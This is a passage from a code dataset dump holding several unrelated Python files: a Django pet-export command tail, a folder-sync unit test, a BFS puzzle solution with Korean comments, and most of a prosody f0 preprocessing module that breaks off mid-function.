json.dumps(serialize_pet.data)\n with open('stdout.txt', 'w') as file:\n file.write(json_data)\n self.stdout.write(json_data, ending='')\n","repo_name":"dimasickx/restAPI","sub_path":"catalog/management/commands/getpets.py","file_name":"getpets.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17543199037","text":"import unittest\nimport os\nfrom random import randint\nimport shutil\nimport fsync1w\n\n\ndef _create_folder_structure():\n # creating random folder structure\n print('Setting up the folders')\n shutil.rmtree('./FA/')\n os.mkdir('./FA/')\n nd = randint(5, 10) # number of folders to create\n nft = 0 # total number of files created\n for _ in range(nd):\n dname = ''.join([chr(randint(97, 117)) for _ in range(5)])\n os.mkdir('./FA\\\\' + dname + '\\\\')\n nf = randint(1, 15) # number of files to create\n nft += nf\n for _ in range(nf):\n fname = ''.join([chr(randint(97, 117)) for _ in range(8)])\n with open('./FA\\\\' + dname + '\\\\' + fname + '.txt', 'w') as file:\n txt = ''.join([chr(randint(65, 120)) for _ in range(100)])\n file.write(txt)\n\n shutil.rmtree('./FB/')\n os.mkdir('./FB/')\n return nd, nft\n\n\nclass xtest(unittest.TestCase):\n def setUp(self) -> None:\n nd, nft = _create_folder_structure()\n\n self.nd = nd\n self.nft = nft\n\n def test_number_of_dirs(self):\n entities = fsync1w.get_folder_content('./FA/')\n files, dirs = fsync1w._get_dir_files_relpath(entities)\n self.assertEqual(self.nd, len(dirs))\n\n def test_number_of_files(self):\n entities = fsync1w.get_folder_content('./FA/')\n files, dirs = fsync1w._get_dir_files_relpath(entities)\n self.assertEqual(self.nft, len(files))\n\n\n","repo_name":"thege959/FSync1w","sub_path":"Tests/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20636898027","text":"from sys import stdin\nfrom typing import List\nfrom collections import defaultdict, deque\n\n\nclass Solution:\n def slang(self, a: int, b: int, maps: List[List[int]]):\n graph = defaultdict(list)\n for u, v in maps:\n # 흠..같은거 걸러줘야함..\n if u == v:\n continue\n graph[u].append(v)\n graph[v].append(u)\n check = [-1] * 1001\n check[a] = 0\n queue = deque()\n queue.append(a)\n while queue:\n node = queue.popleft()\n if node == b:\n print(check[node])\n return\n for g in graph[node]:\n # 모두 -1 넣고 a에 0 삽입후 간 곳 업데이트하고 그럼 -1 아니니깐 또다시 없데이트 안되서 최소값이 들어가는 형태\n if check[g] == -1:\n queue.append(g)\n check[g] = check[node] + 1\n print(-1)\n return\n\n\na, b = map(int, stdin.readline().split())\nN, M = map(int, stdin.readline().split())\ntmp = []\nfor _ in range(M):\n tmp.append(list(map(int, stdin.readline().split())))\nSolution().slang(a, b, tmp)\n","repo_name":"PARKINHYO/Algorithm","sub_path":"BOJ/14496/14496.py","file_name":"14496.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"ko","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"22714608294","text":"\n# author: Uwe Reichel, Budapest, 2016\n\nimport os\nimport mylib as myl\nimport pandas as pd\nimport numpy as np\nimport scipy as si\nimport sigFunc as sif\nimport sys\nimport re\nimport copy as cp\n\n### main ######################################\n\n# adds:\n# .myFileIdx\n# .file_stem\n# .ii - input idx (from lists in fsys, starting with 1)\n# .preproc\n# .glob -> [[on off]...]\n# .loc -> [[on off center]...]\n# .f0 -> [[time f0]...]\n# .bv -> f0BaseValue\n\n# main preproc bracket\n# IN:\n# copa\n# (logFileHandle)\n# OUT: (ii=fileIdx, i=channelIdx, j=segmentIdx,\n# k=myTierNameIndex, l=myBoundaryIndex)\n# +['config']\n# +['data'][ii][i]['fsys'][indicesInConfig[Fsys]Lists]\n# ['f0'|'aud'|'glob'|'loc'|'bnd']['dir'|'stm'|'ext'|'typ']\n# ['tier*']\n# ['f0']['t'|'y'|'bv']\n# ['glob'][j]['t'|'to'|'ri'|'lab'|'tier']\n# ['loc'][j]['t'|'to'|'ri'|'lab_ag'|'lab_acc'|'tier_ag'|'tier_acc']\n# ['bnd'][k][l]['t'|'to'|'lab'|'tier']\n# ['gnl_f0'][k][l]['t'|'to'|'lab'|'tier']\n# ['gnl_en'][k][l]['t'|'to'|'lab'|'tier']\n# ['rhy_f0'][k][l]['t'|'to'|'lab'|'tier']\n# ['rhy_en'][k][l]['t'|'to'|'lab'|'tier']\ndef pp_main(copa,f_log_in=''):\n global f_log\n f_log = f_log_in\n\n myLog(\"DOING: preprocessing ...\")\n \n # detach config\n opt = cp.deepcopy(copa['config'])\n # ff['f0'|'aud'|'annot'|'pulse'] list of full/path/files\n ff = pp_file_collector(opt)\n \n # over files\n for ii in range(len(ff['f0'])):\n\n #print(ff['annot'][ii]) #!c\n\n copa['data'][ii]={}\n # f0 and annotation file content\n f0_dat = myl.input_wrapper(ff['f0'][ii],opt['fsys']['f0']['typ'])\n annot_dat = myl.input_wrapper(ff['annot'][ii],opt['fsys']['annot']['typ'])\n # over channels\n for i in range(opt['fsys']['nc']):\n\n myLog(\"\\tfile {}, channel {}\".format(myl.stm(ff['f0'][ii]), i+1))\n \n copa['data'][ii][i]={}\n copa = pp_channel(copa,opt,ii,i,f0_dat,annot_dat,ff,f_log)\n\n # f0 semitone conversion by grouping factor\n copa = pp_f0_st_wrapper(copa)\n\n return copa\n\n\n# f0 semitone conversion by grouping factor\n# IN:\n# copa\n# OUT:\n# copa with converted f0 values in ['data'][myFi][myCi]['f0']['y']\n# REMARKS:\n# groupingValues not differentiated across groupingVariables of different\n# channels\n# e.g. base_prct_grp.1 = 'spk1' (e.g. ='abc')\n# base_prct_grp.2 = 'spk2' (e.g. ='abc')\n# -> 1 base value is calculated for 'abc' and not 2 for spk1_abc and\n# spk2_abc, respectively\ndef pp_f0_st_wrapper(copa):\n\n opt = copa['config']\n\n ## do nothing\n # ('base_prct_grp' is deleted in copasul_init.py if not\n # needed, incl. the case that base_prct==0)\n if 'base_prct_grp' not in opt['preproc']:\n return copa\n \n ## 1. collect f0 for each grouping level\n # over file/channel idx\n # fg[myGrpLevel] = concatenatedF0\n fg = {}\n # lci[myChannelIdx] = myGroupingVar\n lci = copa['config']['preproc']['base_prct_grp']\n for ii in myl.numkeys(copa['data']):\n for i in myl.numkeys(copa['data'][ii]):\n fg = pp_f0_grp_fg(fg,copa,ii,i,lci)\n\n ## 2. base value for each grouping level\n #bv[myGrpLevel] = myBaseValue\n bv = pp_f0_grp_bv(fg,opt)\n\n ## 3. group-wise semitone conversion\n for ii in myl.numkeys(copa['data']):\n for i in myl.numkeys(copa['data'][ii]):\n copa = pp_f0_grp_st(copa,ii,i,bv,lci,opt)\n\n return copa\n \n# towards grp-wise semitone conversion: fg update\n# IN:\n# fg: fg[myGrpLevel] = concatenatedF0\n# copa\n# ii: fileIdx\n# i: channelIdx\n# lci: copa['config']['base_prct_grp']\n# OUT:\n# fg: updated\ndef pp_f0_grp_fg(fg,copa,ii,i,lci):\n z = copa['data'][ii][i]\n # channel-related grouping factor level\n x = z['grp'][lci[i]]\n if x not in fg:\n fg[x] = myl.ea()\n fg[x] = np.append(fg[x],z['f0']['y'])\n return fg\n\n# calculate base value for each grouping level\n# IN:\n# fg: fg[myGrpLevel] = concatenatedF0\n# opt\n# OUT:\n# bv[myGrpLevel] = myBaseValue\ndef pp_f0_grp_bv(fg,opt):\n # base prct\n b = opt['preproc']['base_prct']\n bv = {}\n for x in fg:\n yi = myl.find(fg[x],'>',0)\n cbv, b = pp_bv(fg[x][yi],opt)\n bv[x] = cbv\n \n return bv\n\n# grp-wise semitone conversion\n# IN:\n# copa\n# ii: fileIdx\n# i: channelIdx\n# bv: bv[myGrpLevel]=myBaseValue\n# lci: copa['config']['base_prct_grp']\n# opt\n# OUT:\n# copa with st-transformed f0\ndef pp_f0_grp_st(copa,ii,i,bv,lci,opt):\n # grp value\n gv = copa['data'][ii][i]['grp'][lci[i]]\n y = copa['data'][ii][i]['f0']['y']\n yr, z = pp_semton(y,opt,bv[gv])\n copa['data'][ii][i]['f0']['y'] = yr\n copa['data'][ii][i]['f0']['bv'] = bv[gv]\n return copa\n\n\n# standalone to modify only grouping fields in copa dict\n# (via pp_main all subsequent processing would be overwritten)\n# hacky call from copasul.py; opt['navigate']['do_export']\n# for cases where json config did contain faulty fsys.grp settings\ndef pp_grp_wrapper(copa):\n for ii in myl.numkeys(copa['data']):\n for i in myl.numkeys(copa['data'][ii]):\n copa = pp_grp(copa,ii,i)\n return copa\n\n\n# file x channel-wise filling of copa['data']\n# IN:\n# copa\n# opt: copa['config']\n# ii - fileIdx\n# i - channelIdx\n# f0_dat - f0 file content\n# annot_dat - annotation file content\n# ff - file system dict by pp_file_collector()\n# f_log_in - log file handle, for calls from augmentation\n# environment (without pp_main())\n# OUT:\n# copa\n# +['data'][ii][i]['fsys'][indicesInConfig[Fsys]Lists]\n# ['f0'|'aud'|'glob'|'loc'|'bnd']['dir'|'stm'|'ext'|'typ']\n# ['tier']\n# ['f0']['t'|'y'|'bv']\n# ['glob'][j]['t'|'to'|'ri'|'lab'|'tier']\n# ['loc'][j]['t'|'to'|'ri'|'lab_ag'|'lab_acc'|'tier_ag'|'tier_acc']\n# ['bnd'][k][l]['t'|'to'|'lab'|'tier']\n# ['gnl_f0'][k][l]['t'|'to'|'lab'|'tier']\n# ['gnl_en'][k][l]['t'|'to'|'lab'|'tier']\n# ['rhy_f0'][k][l]['t'|'to'|'lab'|'tier']\n# ['fyn_en'][k][l]['t'|'to'|'lab'|'tier']\n# for one input file's channel i\ndef pp_channel(copa,opt,ii,i,f0_dat,annot_dat,ff,f_log_in=''):\n global f_log\n f_log = f_log_in\n\n ## fsys subdict\n # ['i'] - file idx\n # ['f0|aud|annot|glob|loc|bnd|...']['stm|...']\n copa['data'][ii][i]['fsys'] = pp_fsys(opt['fsys'],ff,ii,i)\n\n ## grouping\n copa = pp_grp(copa,ii,i)\n\n ## F0 (1) ########################\n # if embedded in augmentation f0 preproc already done\n if 'skip_f0' in opt:\n t = copa['data'][ii][i]['f0']['t']\n y = copa['data'][ii][i]['f0']['y']\n f0 = np.concatenate((t[:,None],y[:,None]),axis=1)\n f0_ut = f0\n else:\n f0, f0_ut = pp_read_f0(f0_dat,opt['fsys']['f0'],i)\n\n ## chunk ########################\n # list of tiernames for channel i (only one element for chunk)\n tn = pp_tiernames(opt['fsys'],'chunk','tier',i)\n if len(tn)>0:\n stm = copa['data'][ii][i]['fsys']['chunk']['stm']\n chunk, chunk_ut, lab_chunk = pp_read(annot_dat,opt['fsys']['chunk'],tn[0],stm,'chunk')\n else:\n chunk = myl.ea()\n # no chunks -> file\n if len(chunk)==0:\n chunk = np.asarray([[f0[0,0],f0[-1,0]]])\n chunk_ut = np.asarray([[f0_ut[0,0],f0_ut[-1,0]]])\n lab_chunk = opt['fsys']['label']['chunk']\n \n ## glob #########################\n tn = pp_tiernames(opt['fsys'],'glob','tier',i)\n if len(tn)>0:\n stm = copa['data'][ii][i]['fsys']['glob']['stm']\n glb, glb_ut, lab_glb = pp_read(annot_dat,opt['fsys']['chunk'],tn[0],stm,'glob')\n \n else:\n glb = myl.ea()\n\n # point -> segment tier\n if len(glb)>0 and np.size(glb,1)==1:\n glb, glb_ut, lab_glb = pp_point2segment(glb,glb_ut,lab_glb,chunk,chunk_ut,opt['fsys']['chunk'])\n \n # no glob segs -> chunks\n if len(glb)==0:\n glb=cp.deepcopy(chunk)\n glb_ut=cp.deepcopy(chunk_ut)\n lab_glb=cp.deepcopy(lab_chunk) \n \n ## loc ##########################\n tn_loc = set()\n tn_acc = pp_tiernames(opt['fsys'],'loc','tier_acc',i)\n tn_ag = pp_tiernames(opt['fsys'],'loc','tier_ag',i)\n stm = copa['data'][ii][i]['fsys']['loc']['stm']\n if len(tn_ag)>0:\n loc_ag, loc_ag_ut, lab_loc_ag = pp_read(annot_dat,opt['fsys']['chunk'],tn_ag[0],stm,'loc')\n tn_loc.add(tn_ag[0])\n else:\n loc_ag, loc_ag_ut, lab_loc_ag = pp_read_empty()\n if len(tn_acc)>0:\n loc_acc, loc_acc_ut, lab_loc_acc = pp_read(annot_dat,opt['fsys']['chunk'],tn_acc[0],stm,'loc')\n tn_loc.add(tn_acc[0])\n else:\n loc_acc, loc_acc_ut, lab_loc_acc = pp_read_empty()\n loc, loc_ut = myl.ea(2)\n \n # [[on off center]...]\n if (len(loc_ag)>0 and len(loc_acc)>0):\n \n # assigning corresponding ag and acc items\n loc,loc_ut,lab_ag,lab_acc = pp_loc_merge(loc_ag_ut,lab_loc_ag,\n loc_acc_ut,lab_loc_acc,\n opt['preproc'])\n # [[on off]...]\n elif len(loc_ag)>0:\n loc = loc_ag\n loc_ut = loc_ag_ut\n lab_ag = lab_loc_ag\n lab_acc = []\n # [[center]...]\n elif len(loc_acc)>0:\n loc = loc_acc\n loc_ut = loc_acc_ut\n lab_ag = []\n lab_acc = lab_loc_acc\n \n # no loc segs\n if len(loc)==0:\n lab_ag = []\n lab_acc = []\n \n ## F0 (2) ################################\n ## preproc + filling copa.f0 #############\n if 'skip_f0' not in opt:\n f0, t, y, bv = pp_f0_preproc(f0,glb[-1][1],opt)\n copa['data'][ii][i]['f0'] = {'t':t, 'y':y, 'bv':bv}\n else:\n # horiz extrapolation only to sync f0 and glob\n # for embedding in augment\n f0 = pp_zp(f0,glb[-1][1],opt,True)\n copa['data'][ii][i]['f0'] = {'t':f0[:,0], 'y':f0[:,1]}\n \n ## error?\n if np.max(y)==0:\n myLog(\"ERROR! {} contains only zeros that will cause trouble later on.\\nPlease remove f0, audio and annotation file from data and re-start the analysis.\".format(ff['f0'][ii]),True)\n\n ## sync onsets of glob and loc to f0 #####\n if len(glb)>0:\n glb[0,0] = np.max([glb[0,0],f0[0,0]])\n glb_ut[0,0] = np.max([glb_ut[0,0],f0[0,0]])\n if len(loc)>0:\n loc[0,0] = np.max([loc[0,0],f0[0,0]])\n loc_ut[0,0] = np.max([loc_ut[0,0],f0[0,0]])\n if len(chunk)>0:\n chunk[0,0] = np.max([chunk[0,0],f0[0,0]])\n chunk_ut[0,0] = np.max([chunk_ut[0,0],f0[0,0]])\n \n # for warnings\n fstm = copa['data'][ii][i]['fsys']['annot']['stm']\n\n ## copa.chunk ############################\n copa['data'][ii][i]['chunk'] = {}\n jj, bad_j, good_j = 0, np.asarray([]).astype(int), np.asarray([]).astype(int)\n for j in range(len(chunk)):\n if too_short('chunk',chunk[j,],fstm):\n bad_j = np.append(bad_j,j)\n continue\n good_j = np.append(good_j,j)\n copa['data'][ii][i]['chunk'][jj] = {}\n copa['data'][ii][i]['chunk'][jj]['t'] = chunk[j,]\n copa['data'][ii][i]['chunk'][jj]['to'] = chunk_ut[j,]\n if len(lab_chunk)>0:\n copa['data'][ii][i]['chunk'][jj]['lab'] = lab_chunk[j]\n else:\n copa['data'][ii][i]['chunk'][jj]['lab'] = ''\n jj+=1\n if len(bad_j)>0:\n chunk = chunk[good_j,]\n chunk_ut = chunk_ut[good_j,]\n ## copa.glob ############################\n copa['data'][ii][i]['glob'] = {}\n jj, bad_j, good_j = 0, np.asarray([]).astype(int), np.asarray([]).astype(int)\n for j in range(len(glb)):\n if too_short('glob',glb[j,],fstm):\n bad_j = np.append(bad_j,j)\n continue\n good_j = np.append(good_j,j)\n copa['data'][ii][i]['glob'][jj] = {}\n copa['data'][ii][i]['glob'][jj]['t'] = glb[j,]\n copa['data'][ii][i]['glob'][jj]['to'] = glb_ut[j,]\n copa['data'][ii][i]['glob'][jj]['ri'] = np.array([]).astype(int)\n if len(lab_glb)>0:\n copa['data'][ii][i]['glob'][jj]['lab'] = lab_glb[j]\n else:\n copa['data'][ii][i]['glob'][jj]['lab'] = ''\n jj+=1\n if len(bad_j)>0:\n glb = glb[good_j,]\n glb_ut = glb_ut[good_j,]\n\n # within-chunk position of glb\n rci = pp_apply_along_axis(pp_link,1,glb,chunk)\n for j in myl.idx(glb):\n is_init, is_fin = pp_initFin(rci,j)\n copa['data'][ii][i]['glob'][j]['is_init_chunk'] = is_init\n copa['data'][ii][i]['glob'][j]['is_fin_chunk'] = is_fin\n copa['data'][ii][i]['glob'][j]['tier']=tn[0]\n \n ## copa.loc #############################\n copa['data'][ii][i]['loc'] = {}\n jj, bad_j, good_j = 0, np.asarray([]).astype(int), np.asarray([]).astype(int)\n # [center...] to sync gnl feats if required by opt['preproc']['loc_sync']\n loc_t = myl.ea()\n # row-wise application: uniformly 3 time stamps: [[on off center]...]\n # - midpoint in case no accent is given\n # - symmetric window around accent in case no AG is given\n loc = pp_apply_along_axis(pp_loc,1,loc,opt)\n # link each idx in loc.t to idx in glob.t\n # index in ri: index of locseg; value in ri: index of globseg\n ri = pp_apply_along_axis(pp_link,1,loc,glb)\n # ... same for loc.t to chunk.t\n rci = pp_apply_along_axis(pp_link,1,loc,chunk)\n # over segments [[on off center] ...]\n for j in myl.idx(loc):\n # no parenting global segment -> skip\n if ri[j] < 0:\n bad_j = np.append(bad_j,j)\n continue\n # strict layer loc limit (not crossing glb boundaries)\n locSl = pp_slayp(loc[j,:],glb[ri[j],:])\n # [on off] of normalization window (for gnl features)\n # not crossing globseg, not smaller than locSl[1:2]\n loc_tn = pp_loc_w_nrm(loc[j,:],glb[ri[j],:],opt)\n if too_short('loc',locSl,fstm):\n bad_j = np.append(bad_j,j)\n continue\n good_j = np.append(good_j,j)\n copa['data'][ii][i]['loc'][jj] = {}\n copa['data'][ii][i]['loc'][jj]['ri'] = ri[j]\n #### position of local segment in global one and in chunk\n # 'is_fin', 'is_init', both 'yes' or 'no'\n is_init, is_fin = pp_initFin(ri,j)\n #### same for within chunk position\n is_init_chunk, is_fin_chunk = pp_initFin(rci,j)\n copa['data'][ii][i]['loc'][jj]['is_init'] = is_init\n copa['data'][ii][i]['loc'][jj]['is_fin'] = is_fin\n copa['data'][ii][i]['loc'][jj]['is_init_chunk'] = is_init_chunk\n copa['data'][ii][i]['loc'][jj]['is_fin_chunk'] = is_fin_chunk\n if len(tn_ag)>0:\n copa['data'][ii][i]['loc'][jj]['tier_ag'] = tn_ag[0]\n else:\n copa['data'][ii][i]['loc'][jj]['tier_ag'] = ''\n if len(tn_acc)>0:\n copa['data'][ii][i]['loc'][jj]['tier_acc'] = tn_acc[0]\n else:\n copa['data'][ii][i]['loc'][jj]['tier_acc'] = ''\n \n #### labels\n if len(lab_ag)>0:\n copa['data'][ii][i]['loc'][jj]['lab_ag'] = lab_ag[j]\n else:\n copa['data'][ii][i]['loc'][jj]['lab_ag'] = ''\n if len(lab_acc)>0:\n copa['data'][ii][i]['loc'][jj]['lab_acc'] = lab_acc[j]\n else:\n copa['data'][ii][i]['loc'][jj]['lab_acc'] = ''\n copa['data'][ii][i]['loc'][jj]['t'] = locSl\n copa['data'][ii][i]['loc'][jj]['to'] = loc_ut[j,:]\n copa['data'][ii][i]['loc'][jj]['tn'] = loc_tn\n\n loc_t = np.append(loc_t,locSl[2])\n if (ri[j]>-1):\n copa['data'][ii][i]['glob'][ri[j]]['ri'] = np.concatenate((copa['data'][ii][i]['glob'][ri[j]]['ri'],[jj]),axis=0)\n jj+=1\n if len(bad_j)>0:\n loc = loc[good_j,]\n loc_ut = loc_ut[good_j,]\n \n ### bnd, gnl_*, rhy_* input #############################\n # additional tier index layer, since features can be derived\n # from several tiers\n # copa['data'][ii][i][bnd|gnl_*|rhy_*][tierIdx][segmentIdx]\n # (as opposed to chunk, glob, loc)\n # keys: tierNameIdx in opt, values: t, ot, lab, tier\n\n # in accent augment embedding feature sets will be time-synced\n # to loc segments (see copasul_augment.aug_prep_copy())\n if 'loc_sync' not in opt['preproc']:\n doSync = False\n else:\n doSync = opt['preproc']['loc_sync']\n\n # over feature set (bnd etc)\n for ft in myl.lists('bgd'):\n if ft not in opt['fsys']:\n continue\n r = {} # becomes copa['data'][ii][i][ft]\n # tier idx\n k=0\n lab_pau = opt['fsys'][ft]['lab_pau']\n ## over tiers for channel i\n for tn in pp_tiernames(opt['fsys'],ft,'tier',i):\n # pp_tiernames overgeneralizes in some contexts -> skip\n # non-existent names\n if not pp_tier_in_annot(tn,annot_dat,opt['fsys'][ft]['typ']):\n continue\n tx, to, lab = pp_read(annot_dat,opt['fsys'][ft],tn,'','bdg')\n\n # time to intervals (analysis + norm windows)\n # t_nrm: local normalization window limited by chunk boundaries\n # t_trend: windows from chunk onset to boundary, and\n # from boundary to chunk offset\n t, t_nrm, t_trend = pp_t2i(tx,ft,opt,chunk)\n r[k] = {}\n jj, bad_j, good_j = 0, np.asarray([]).astype(int), np.asarray([]).astype(int)\n # for sync, use each loc interval only once\n blocked_i = {}\n ## over segment index\n for a in myl.idx(lab):\n # skip too short segments until sync with locseg is required\n # that will be checked right below\n if (too_short(tn,t[a,:],fstm) and\n ((not doSync) or (tn not in tn_loc))):\n bad_j = np.append(bad_j,a)\n continue\n if (doSync and (tn in tn_loc)):\n mfi = myl.find_interval(loc_t,t[a,:])\n if len(mfi) == 0:\n bad_j = np.append(bad_j,a)\n continue\n # all mfi indices already consumed?\n all_consumed=True\n for ij in range(len(mfi)):\n if mfi[ij] not in blocked_i:\n ijz=ij\n all_consumed=False\n blocked_i[mfi[ij]]=True\n if not all_consumed:\n break\n if all_consumed:\n bad_j = np.append(bad_j,a)\n continue\n good_j = np.append(good_j,a) \n r[k][jj] = {'tier':tn,'t':t[a,:],'to':to[a,:],\n 'tn':t_nrm[a,:],'tt':t_trend[a,:],\n 'lab':lab[a]}\n jj+=1\n if len(bad_j)>0:\n t = t[good_j,]\n tx = tx[good_j,]\n\n ### position in glob and chunk segments\n # links to parent segments (see above loc, or glb)\n ri = pp_apply_along_axis(pp_link,1,tx,glb)\n rci = pp_apply_along_axis(pp_link,1,tx,chunk)\n # over segment idx\n for j in myl.idx(tx):\n is_init, is_fin = pp_initFin(ri,j)\n is_init_chunk, is_fin_chunk = pp_initFin(rci,j)\n r[k][j]['is_init'] = is_init\n r[k][j]['is_fin'] = is_fin\n r[k][j]['is_init_chunk'] = is_init_chunk\n r[k][j]['is_fin_chunk'] = is_fin_chunk\n \n # rates of tier_rate entries for each segment\n # (all rate tiers of same channel as tn)\n if re.search('^rhy_',ft):\n #...['tier_rate'] -> npArray of time values (1- or 2-dim)\n tt = pp_tier_time_to_tab(annot_dat,opt['fsys'][ft]['tier_rate'],i,lab_pau)\n # add rate[myTier] = myRate\n # ri[myTier] = list of reference idx\n # segment index\n # (too short segments already removed from t)\n for a in range(len(t)):\n r[k][a]['rate']={}\n r[k][a]['ri']={}\n # over rate tiers \n for b in tt:\n rate, ri = pp_rate_in_interval(tt[b],r[k][a]['t'])\n r[k][a]['rate'][b] = rate\n r[k][a]['ri'][b] = ri\n k+=1\n \n copa['data'][ii][i][ft] = r\n if ft == 'rhy_f0':\n copa['data'][ii][i]['rate'] = pp_f_rate(annot_dat,opt,ft,i)\n #sys.exit() #!\n return copa\n\n# checks for a segment/time stamp X whether in which position it\n# is within the parent segment Y (+/- inital, +/- final)\n# IN:\n# ri: list of reverse indices (index in list: index of X in its tier,\n# value: index of Y in parent tier)\n# j: index of current X\n# OUT:\n# is_init: 'yes'|'no' X is in initial position in Y\n# is_fin: 'yes'|'no' X is in final position in Y\ndef pp_initFin(ri,j):\n # does not belong to any parent segment\n if ri[j] < 0:\n return 'no', 'no'\n\n # initial?\n if j==0 or ri[j-1] != ri[j]:\n is_init='yes'\n else:\n is_init='no'\n\n # final?\n if j==len(ri)-1 or ri[j+1] != ri[j]:\n is_fin='yes'\n else:\n is_fin='no'\n\n return is_init, is_fin\n\n \n# transforms glob point into segment tier\n# - points are considered to be right segment boundaries\n# - segments do not cross chunk boundaries\n# - pause labeled points are skipped\n# IN:\n# pnt: [[timePoint]...] of global segment right boundaries\n# pnt_ut [[timePoint]...] same with orig time\n# pnt_lab: [label ...] f.a. timePoint\n# chunk [[on off] ...] of chunks not to be crossed\n# chunk_ut [[on off] ...] same with orig time\n# opt with key 'lab_pau':\n# OUT:\n# seg [[on off]...] from pnt\n# seg_ut [[on off]...] from pnt_ut\n# seg_lab [lab ...] from pnt_lab\ndef pp_point2segment(pnt,pnt_ut,pnt_lab,chunk,chunk_ut,opt): #!g\n\n # output\n seg, seg_ut, seg_lab = myl.ea(), myl.ea(), []\n\n # phrase onset, current chunk idx\n t_on, t_on_ut, c_on = chunk[0,0], chunk_ut[0,0], 0\n\n for i in myl.idx_a(len(pnt)):\n\n # pause -> only shift onset\n if pp_is_pau(pnt_lab[i],opt['lab_pau']):\n t_on, t_on_ut = pnt[i,0], pnt_ut[i,0]\n c_on = myl.first_interval(t_on,chunk)\n continue\n\n # current offset\n t_off, t_off_ut = pnt[i,0], pnt_ut[i,0]\n\n # if needed right shift onset to chunk start\n c_off = myl.first_interval(t_off,chunk)\n\n if min(c_on,c_off)>-1 and c_off > c_on:\n t_on, t_on_ut = chunk[c_off,0], chunk_ut[c_off,0]\n\n # update output\n seg = myl.push(seg,[t_on, t_off])\n seg_ut = myl.push(seg_ut,[t_on_ut, t_off_ut])\n seg_lab.append(pnt_lab[i])\n\n # update time stamps\n t_on = t_off\n t_on_ut = t_off_ut\n c_on = c_off\n\n return seg, seg_ut, seg_lab\n\n# normalization window for local segment\n# - centered on locseg center\n# - limited by parenting glb segment\n# - not smaller than loc segment\n# IN:\n# loc - current local segment [on off center]\n# glb - current global segment [on off]\n# opt - copa['config']\n# OUT:\n# tn - normalization window [on off]\ndef pp_loc_w_nrm(loc,glb,opt):\n # special window for loc?\n if (('loc' in opt['preproc']) and ('nrm_win' in opt['preproc']['loc'])):\n w = opt['preproc']['loc']['nrm_win']/2\n else:\n w = opt['preproc']['nrm_win']/2\n c = loc[2]\n tn = np.asarray([c-w,c+w])\n tn[0] = max([min([tn[0],loc[0]]),glb[0]])\n tn[1] = min([max([tn[1],loc[1]]),glb[1]])\n return myl.cellwise(myl.trunc2,tn)\n \n\n# signals and log-warns if segment is too short\n# IN:\n# type of segment 'chunk|glob|...'\n# seg row ([on off] or [on off center])\n# fileStem for log warning\n# OUT:\n# True|False if too short\n# warning message in log file\ndef too_short(typ,seg,fstm):\n if ((seg[1] <= seg[0]) or\n (len(seg)>2 and (seg[2] < seg[0] or seg[2] > seg[1]))):\n myLog(\"WARNING! {}: {} segment too short: {} {}. Segment skipped.\".format(fstm,typ,seg[0],seg[1]))\n return True\n return False\n\ndef rm_too_short(typ,dat,fstm):\n d = dat[:,1]-dat[:,0]\n bad_i = myl.find(d,'<=',0)\n if len(bad_i)>0:\n good_i = myl.find(d,'>',0)\n myLog(\"WARNING! {}: file contains too short {} segments, which were removed.\".format(fstm,typ))\n dat = dat[good_i,]\n return dat\n\n\n# F0 preprocessing:\n# - zero padding\n# - outlier identification\n# - interpolation over voiceless segments and outliers\n# - smoothing\n# - semtione transform\n# IN:\n# f0: [[t f0]...]\n# t_max: max time to which contour is needed\n# opt: copa['config']\n# OUT:\n# f0: [[t zero-padded]...]\n# t: time vector\n# y: preprocessed f0 vector\n# bv: f0 base value (Hz)\ndef pp_f0_preproc(f0,t_max,opt):\n # zero padding\n f0 = pp_zp(f0,t_max,opt)\n # detach time and f0\n t,y = f0[:,0], f0[:,1]\n # do nothing with zero-only segments\n # (-> will be reported as error later on)\n if np.max(y)==0:\n return y, t, y, 1\n # setting outlier to 0\n y = sif.pp_outl(y,opt['preproc']['out'])\n # interpolation over 0\n y = sif.pp_interp(y,opt['preproc']['interp'])\n # smoothing\n if 'smooth' in opt['preproc']:\n y = sif.pp_smooth(y,opt['preproc']['smooth'])\n # <0 -> 0\n y[myl.find(y,'<',0)]=0\n # semitone transform, base ref value (in Hz)\n # later by calculating the base value over a grp factor (e.g. spk)\n if 'base_prct_grp' in opt['preproc']:\n bv = -1\n else:\n y, bv = pp_semton(y,opt)\n return f0, t, y, bv\n\n# merging AG segment and ACC event tiers to n x 3 array [[on off center]...]\n# opt['preproc']['loc_align']='skip': only keeping AGs and ACC for which exactly 1 ACC is within AG\n# 'left': if >1 acc in ag keeping first one\n# 'right': if >1 acc in ag keeping last one\n# IN:\n# ag: nx2 [[on off]...] of AGs\n# lab_ag: list of AG labels\n# acc: mx1 [[timeStamp]...]\n# lab_acc: list of ACC labels\n# opt: opt['preproc']\n# OUT:\n# d: ox3 [[on off center]...] ox3, %.2f trunc times\n# d_ut: same not trunc'd \n# lag: list of AG labels\n# lacc: list of ACC labels\ndef pp_loc_merge(ag,lab_ag,acc,lab_acc,opt):\n d = myl.ea()\n lag = []\n lacc = []\n for i in range(len(ag)):\n j = myl.find_interval(acc,ag[i,:])\n jj = -1\n\n #!aa\n #if len(j)>1:\n # print('err > 1')\n # myl.stopgo()\n #elif len(j)<1:\n # print('err < 1')\n # myl.stopgo()\n \n if len(j)==1:\n jj = j[0]\n elif len(j)>1 and opt['loc_align'] != 'skip':\n if opt['loc_align']=='left':\n jj = j[0]\n elif opt['loc_align']=='right':\n jj = j[-1]\n if jj < 0:\n continue\n \n d = myl.push(d,[ag[i,0],ag[i,1],acc[jj]])\n lag.append(lab_ag[i])\n lacc.append(lab_acc[jj])\n\n return myl.cellwise(myl.trunc2,d),d,lag,lacc\n\n\n# grouping values from filename\n# IN:\n# copa\n# ii fileIdx\n# i channelIdx\n# OUT:\n# +['data'][ii][i]['grp'][myVar] = myVal\ndef pp_grp(copa,ii,i):\n copa['data'][ii][i]['grp']={}\n # grouping options\n opt = copa['config']['fsys']['grp']\n if len(opt['lab'])>0:\n myStm = copa['data'][ii][i]['fsys'][opt['src']]['stm']\n g = re.split(opt['sep'], myStm)\n for j in myl.idx_a(len(g)):\n if j >= len(opt['lab']):\n myLog(\"ERROR! {} cannot be split into grouping values\".format(myStm),True)\n lab = 